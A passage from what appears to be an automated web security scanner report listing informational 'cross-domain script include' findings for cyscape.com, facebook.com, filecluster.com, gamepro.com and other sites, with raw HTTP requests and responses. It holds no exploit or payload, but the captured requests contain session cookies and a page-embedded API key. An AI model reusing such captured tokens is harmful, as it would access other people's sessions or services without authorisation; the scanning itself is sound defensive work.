<script src="https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape"> </script>
...[SNIP]...

13.16. https://www.cyscape.com/images/common/episodes.gif%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/images/common/episodes.gif%22

Issue detail

The response dynamically includes the following scripts from other domains:

https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape

Request

Response

13.17. https://www.cyscape.com/products/bhawk/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhawk/

Issue detail

The response dynamically includes the following scripts from other domains:

https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape

Request

GET /products/bhawk/ HTTP/1.1
Host: www.cyscape.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.cyscape.com/%22/products/bhtg//%22
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BA=ba=90453&be=33368.92&l=1161&le=4.69&ip=10.0.0.1&t=1316462241; __utma=172671793.283514393.1316462211.1316462211.1316462211.1; __utmb=172671793.3.10.1316462211; __utmc=172671793; __utmz=172671793.1316462211.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); bhCookieSaveSess=1; ASPSESSIONIDAQRSSCCA=BOEBNBDDEMFJBLNILPJCHJDN; bhPrevResults=bhjs=1; bhawkplt=plt_state=transitional&plt_stm=1316462735601&plt_url=https%3A%2F%2Fwww.cyscape.com%2Forder%2Forder.asp%3Fbhcp%3D1; ASP.NET_SessionId=0gviet45vvixih45hx2k2a55; person_id=8553561; RT=s=1316462745416&r=https%3A%2F%2Fwww.cyscape.com%2F%2522%2Fproducts%2Fbhtg%2F%2F%2522; EPISODES=s=1316462745417&r=https%3A//www.cyscape.com/%2522/products/bhtg//%2522

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:04:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 98373

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1">
<script>var _bhtg_lo
...[SNIP]...
</span><script src="https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape"> </script>
...[SNIP]...

13.18. https://www.cyscape.com/products/bhtg/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhtg/

Issue detail

The response dynamically includes the following scripts from other domains:

https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape

Request

GET /products/bhtg/ HTTP/1.1
Host: www.cyscape.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.cyscape.com/products/bhawk/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BA=ba=90453&be=33368.92&l=1161&le=4.69&ip=10.0.0.1&t=1316462241; __utma=172671793.283514393.1316462211.1316462211.1316462211.1; __utmb=172671793.3.10.1316462211; __utmc=172671793; __utmz=172671793.1316462211.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); bhCookieSaveSess=1; ASPSESSIONIDAQRSSCCA=BOEBNBDDEMFJBLNILPJCHJDN; bhPrevResults=bhjs=1; bhawkplt=plt_state=transitional&plt_stm=1316462735601&plt_url=https%3A%2F%2Fwww.cyscape.com%2Forder%2Forder.asp%3Fbhcp%3D1; ASP.NET_SessionId=0gviet45vvixih45hx2k2a55; person_id=8553561; EPISODES=s=1316462745417&r=https%3A//www.cyscape.com/%2522/products/bhtg//%2522; RT=

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:04:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48909

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_ctl00_Head1">
<script>var _b
...[SNIP]...
</span><script src="https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape"> </script>
...[SNIP]...

13.19. https://www.cyscape.com/products/bhtg/howitworks.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhtg/howitworks.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape

Request

GET /products/bhtg/howitworks.aspx HTTP/1.1
Host: www.cyscape.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.cyscape.com/products/bhtg/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BA=ba=90453&be=33368.92&l=1161&le=4.69&ip=10.0.0.1&t=1316462241; __utma=172671793.283514393.1316462211.1316462211.1316462211.1; __utmb=172671793.3.10.1316462211; __utmc=172671793; __utmz=172671793.1316462211.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); bhCookieSaveSess=1; ASPSESSIONIDAQRSSCCA=BOEBNBDDEMFJBLNILPJCHJDN; bhPrevResults=bhjs=1; bhawkplt=plt_state=transitional&plt_stm=1316462735601&plt_url=https%3A%2F%2Fwww.cyscape.com%2Forder%2Forder.asp%3Fbhcp%3D1; ASP.NET_SessionId=0gviet45vvixih45hx2k2a55; person_id=8553561; RT=s=1316462797635&r=https%3A%2F%2Fwww.cyscape.com%2Fproducts%2Fbhtg%2F; EPISODES=s=1316462797635&r=https%3A//www.cyscape.com/products/bhtg/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:05:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48627

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_ctl00_Head1">
<script>var _b
...[SNIP]...
</span><script src="https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape"> </script>
...[SNIP]...

13.20. http://www.defenceindepth.net/2009/12/cracking-os-x-passwords.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.defenceindepth.net
Path:	/2009/12/cracking-os-x-passwords.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.blogger.com/static/v1/jsbin/957670695-comment_from_post_iframe.js
http://www.blogger.com/static/v1/widgets/931580185-widgets.js
http://www.google.com/jsapi

Request

GET /2009/12/cracking-os-x-passwords.html HTTP/1.1
Host: www.defenceindepth.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Mon, 19 Sep 2011 19:28:35 GMT
Date: Mon, 19 Sep 2011 19:28:35 GMT
Cache-Control: private, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:07 GMT
ETag: "763a71fa-91d3-44e5-9cf2-2522f8b217f0"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 96147
Server: GSE

<!DOCTYPE html>
<html b:version='2' class='v2' dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='ht
...[SNIP]...
</iframe>
<script type="text/javascript" src="http://www.blogger.com/static/v1/jsbin/957670695-comment_from_post_iframe.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/931580185-widgets.js"></script>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...

13.21. http://www.demo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.demo.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/APIModules_all.js
http://admin.brightcove.com/js/BrightcoveExperiences.js
http://widgets.twimg.com/j/2/widget.js
http://www.google.com/jsapi?key=ABQIAAAAYHVCeVX65_IcVBTsUQZ1aRQAL-HksYol8M499mcWReOgizAFFBSr6bkyo4C49cWbHplfAag_bnP5_g

Request

GET / HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:30:12 GMT
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Accept-Ranges: bytes
Content-Type: text/html
Cache-Control: private
Content-Length: 140447

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>DEMO.com &g
...[SNIP]...
<![endif]-->
<script src="http://www.google.com/jsapi?key=ABQIAAAAYHVCeVX65_IcVBTsUQZ1aRQAL-HksYol8M499mcWReOgizAFFBSr6bkyo4C49cWbHplfAag_bnP5_g" type="text/javascript"></script>
...[SNIP]...

                   <script language="JavaScript" type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script>
                   <script language="JavaScript" type="text/javascript" src="http://admin.brightcove.com/js/APIModules_all.js"></script>
...[SNIP]...

       <script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...

13.22. http://www.facebook.com/connect/connect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/connect.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js

Request

Response

13.23. http://www.facebook.com/creditsuisse previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/creditsuisse

Issue detail

The response dynamically includes the following script from another domain:

http://b.static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js

Request

GET /creditsuisse HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
X-UA-Compatible: IE=edge
X-XSS-Protection: 0
Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fcreditsuisse; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.200.42
Connection: close
Date: Mon, 19 Sep 2011 14:46:29 GMT
Content-Length: 187328

<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" xmlns:og="http://opengraphprotocol.org/schema/" lang="en" id="facebook" class="no_js">
<head><meta charset="utf-8" /><script>Cav
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/v1/ye/r/h-h3kzqtyEZ.css" />

<script type="text/javascript" src="http://b.static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js"></script>
...[SNIP]...

13.24. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js

Request

Response

13.25. http://www.filecluster.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filecluster.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://apis.google.com/js/plusone.js
http://connect.facebook.net/en_US/all.js
http://ctxt.tribalfusion.com/ctxt/textlinks.js
http://static.getclicky.com/js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:16:21 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: max-age=1, private, must-revalidate
Pragma: no-cache
Vary: User-Agent,Accept-Encoding
Content-Length: 62475
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
</div><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

<script src="http://static.getclicky.com/js" type="text/javascript"></script>
...[SNIP]...
</SCRIPT>
<SCRIPT src="http://ctxt.tribalfusion.com/ctxt/textlinks.js"
type="text/javascript"></SCRIPT>
...[SNIP]...

13.26. http://www.filecluster.com/Games/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filecluster.com
Path:	/Games/

Issue detail

The response dynamically includes the following scripts from other domains:

http://apis.google.com/js/plusone.js
http://ctxt.tribalfusion.com/ctxt/textlinks.js
http://static.getclicky.com/js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:27:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: max-age=1, private, must-revalidate
Pragma: no-cache
Vary: User-Agent,Accept-Encoding
Content-Length: 28010
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
</div>

<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

<script src="http://static.getclicky.com/js" type="text/javascript"></script>
...[SNIP]...
</SCRIPT>
<SCRIPT src="http://ctxt.tribalfusion.com/ctxt/textlinks.js"
type="text/javascript"></SCRIPT>
...[SNIP]...

13.27. http://www.gamepro.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gamepro.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js
http://ajax.googleapis.com/ajax/libs/prototype/1.6.1.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js
http://cdn.glyde.com/javascripts/inline_store.js
http://cdn.krxd.net/krux.js
http://s.skimresources.com/js/7158X661882.skimlinks.js
http://use.typekit.com/spf2uin.js

Request

GET / HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:30:17 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Content-Length: 153138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co
...[SNIP]...
<meta name="author" content="" />
       <script src="//ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
...[SNIP]...

       <script src="//ajax.googleapis.com/ajax/libs/prototype/1.6.1.0/prototype.js"></script>
       <script src="//ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js"></script>
...[SNIP]...
<link type="text/css" rel="stylesheet" media="screen,projection" href="/lib/css/screen.css">
       <script type="text/javascript" src="http://use.typekit.com/spf2uin.js"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://cdn.glyde.com/javascripts/inline_store.js"></script>
...[SNIP]...
</script>
   <script src="http://cdn.krxd.net/krux.js"></script>
...[SNIP]...

   <script type="text/javascript" src="http://s.skimresources.com/js/7158X661882.skimlinks.js"></script>
...[SNIP]...

13.28. http://www.gamepro.com/lib/includes/ads/scripts/1x1_overlay.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gamepro.com
Path:	/lib/includes/ads/scripts/1x1_overlay.js

Issue detail

The response dynamically includes the following script from another domain:

http://ad.doubleclick.net/adj/idg.us.gamepro.'%20+%20dart.dartSite%20+%20'/'%20+%20dart.dartZone%20+%20';dartGenre=' + dart.dartGenre + ';dartSubGenre=' + dart.dartSubGenre + ';dartGlobalID=' + dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID + ';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';tile=2;dcopt=ist;dartrichmedia=' + dart.dartRichMedia + ';sz=1x2;tile=2;ord=' + dart.dartTimestamp + '?

Request

GET /lib/includes/ads/scripts/1x1_overlay.js HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Mon, 18 Jul 2011 22:24:39 GMT
ETag: "5f1d0e-20f-7704b7c0"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: application/javascript
Pragma: im n ur heders, makin u cach
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:19 GMT
Age: 359
Content-Length: 527

document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/idg.us.gamepro.' + dart.dartSite + '/' + dart.dartZone + ';dartGenre=' + dart.dartGenre + ';dartSubGenre=' + dart.dartSubGenre + ';dartGlobalID=' + dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID + ';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';tile=2;dcopt=ist;dartrichmedia=' + dart.dartRichMedia + ';sz=1x2;tile=2;ord=' + dart.dartTimestamp + '?" type="text/javascript"></script>
...[SNIP]...

13.29. http://www.gamepro.com/lib/includes/ads/scripts/202x90.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gamepro.com
Path:	/lib/includes/ads/scripts/202x90.js

Issue detail

The response dynamically includes the following script from another domain:

http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';tile=3;sz=202x90;ord=' + dart.dartTimestamp + '?

Request

GET /lib/includes/ads/scripts/202x90.js HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Mon, 18 Jul 2011 22:24:39 GMT
ETag: "baec17-1e9-7704b7c0"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: application/javascript
Pragma: im n ur heders, makin u cach
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:20 GMT
Age: 259
Content-Length: 489

if (!dart.skyboxAdServed) {
document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';tile=3;sz=202x90;ord=' + dart.dartTimestamp + '?" type="text/javascript"></script>
...[SNIP]...

13.30. http://www.gamepro.com/lib/includes/ads/scripts/300x600.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gamepro.com
Path:	/lib/includes/ads/scripts/300x600.js

Issue detail

The response dynamically includes the following script from another domain:

http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';tile=5;sz=300x600;ord=' + dart.dartTimestamp + '?

Request

GET /lib/includes/ads/scripts/300x600.js HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Mon, 18 Jul 2011 22:24:39 GMT
ETag: "5f1d05-1e2-7704b7c0"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: application/javascript
Pragma: im n ur heders, makin u cach
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:18 GMT
Age: 197
Content-Length: 482

document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';tile=5;sz=300x600;ord=' + dart.dartTimestamp + '?" type="text/javascript"></script>
...[SNIP]...

13.31. http://www.gamepro.com/lib/includes/ads/scripts/630x50.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gamepro.com
Path:	/lib/includes/ads/scripts/630x50.js

Issue detail

The response dynamically includes the following script from another domain:

http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';sz=630x50;ord=' + dart.dartTimestamp + '?

Request

GET /lib/includes/ads/scripts/630x50.js HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Mon, 18 Jul 2011 22:24:40 GMT
ETag: "5f1d0f-1e2-7713fa00"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: application/javascript
Pragma: im n ur heders, makin u cach
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:17 GMT
Age: 203
Content-Length: 482

document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';sz=630x50;ord=' + dart.dartTimestamp + '?" type="text/javascript"></script>
...[SNIP]...

13.32. http://www.gamepro.com/lib/includes/ads/scripts/728x90.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gamepro.com
Path:	/lib/includes/ads/scripts/728x90.js

Issue detail

The response dynamically includes the following script from another domain:

